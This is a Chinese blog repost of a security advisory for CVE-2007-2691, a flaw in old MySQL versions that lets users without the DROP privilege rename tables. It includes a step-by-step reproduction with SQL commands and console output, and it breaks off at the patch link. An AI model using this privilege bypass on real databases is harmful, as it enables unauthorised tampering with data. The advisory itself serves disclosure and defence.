mysql rename table报错_mysql rename table相关

语法格式:rename table `db`.`table1` to `db`.`table2`;

MySQL Rename Table函数访问验证漏洞

原文出自【比特网】,转载请保留原文链接:http://sec.chinabyte.com/70/11431070.shtml

受影响系统:

MySQL AB MySQL 5.1.x < 5.1.18

MySQL AB MySQL 5.0.x < 5.0.42

MySQL AB MySQL 4.1.x < 4.1.23

不受影响系统:

MySQL AB MySQL 5.1.18

MySQL AB MySQL 5.0.42

MySQL AB MySQL 4.1.23

描述:

BUGTRAQ ID: 24016

CVE(CAN) ID: CVE-2007-2691

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL的Rename Table功能的实现上存在访问验证漏洞,能够以合法帐号登录到攻击者可能利用此漏洞执行非授权的操作。

MySQL没有对RENAME TABLE语句要求DROP权限,这允许通过认证的远程用户重新命名任意表格。

*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1. 创建一个测试数据库及一个拥有SELECT、INSERT、ALTER和CREATE权限的用户:

mysql> create database priv_test;

Query OK, 1 row affected (0.00 sec)

mysql> grant select, insert, alter, create on `priv\_test`.* to usb@'localhost'

identified by 'mysql';

Query OK, 0 rows affected (0.02 sec)

2. 以该用户的身份连接:

$ ./bin/mysql -uusb -pmysql priv_test

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 2

Server version: 5.1.17-beta-debug Source distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select current_user();

+----------------+

| current_user() |

+----------------+

+----------------+

1 row in set (0.00 sec)

mysql> create table tabc (col1 int);

Query OK, 0 rows affected (0.02 sec)

mysql> create table tabd (col2 int);

Query OK, 0 rows affected (0.05 sec)

mysql> rename table tabc to tabc_bk,tabd to tabc,tabc_bk to tabd;

Query OK, 0 rows affected (0.00 sec)

可见即使用户没有DROP权限也可以重命名表格。

建议:

厂商补丁:

MySQL AB

--------

厂商发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值